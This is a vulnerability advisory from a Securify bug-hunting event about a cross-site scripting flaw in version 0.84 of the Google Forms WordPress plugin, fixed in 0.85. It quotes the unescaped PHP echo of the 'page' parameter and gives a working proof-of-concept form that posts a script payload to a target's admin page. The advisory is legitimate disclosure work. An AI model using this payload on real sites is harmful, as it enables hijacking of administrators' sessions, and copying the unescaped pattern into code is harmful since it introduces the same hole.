A Cross-Site Scripting vulnerability was found in the Google Forms WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160712-0021
This issue was successfully tested on Google Forms WordPress Plugin version 0.84.
This issue is resolved in Google Forms version 0.85.
The Google Forms WordPress Plugin embeds a published, public Google Form in a WordPress post, page, or widget. A Cross-Site Scripting vulnerability was found in the Google Forms WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
The issue exists in the file wpgform-logging.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
<form id="wpgform-log-entries-filter" method="get">
<!-- For plugins, we also need to ensure that the form posts back to our current page -->
<input type="hidden" name="post_type" value="<?php echo WPGFORM_CPT_FORM ?>" />
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
<input type="hidden" name="_wp_http_referer" value="<?php echo admin_url('edit.php?post_type=' . WPGFORM_CPT_FORM . '&page=wpgform-entry-log-page' ); ?>" />
<!-- Now we can render the completed list table -->
<?php //$wpgformListTable->search_box(__('Search', WPGFORM_I18N_DOMAIN), 'search_id'); ?>
<?php $wpgformListTable->display() ; ?>
</form>
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
<html>
<body>
<form action="http://<target>/wp-admin/edit.php?post_type=wpgform&page=wpgform-entry-log-page" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
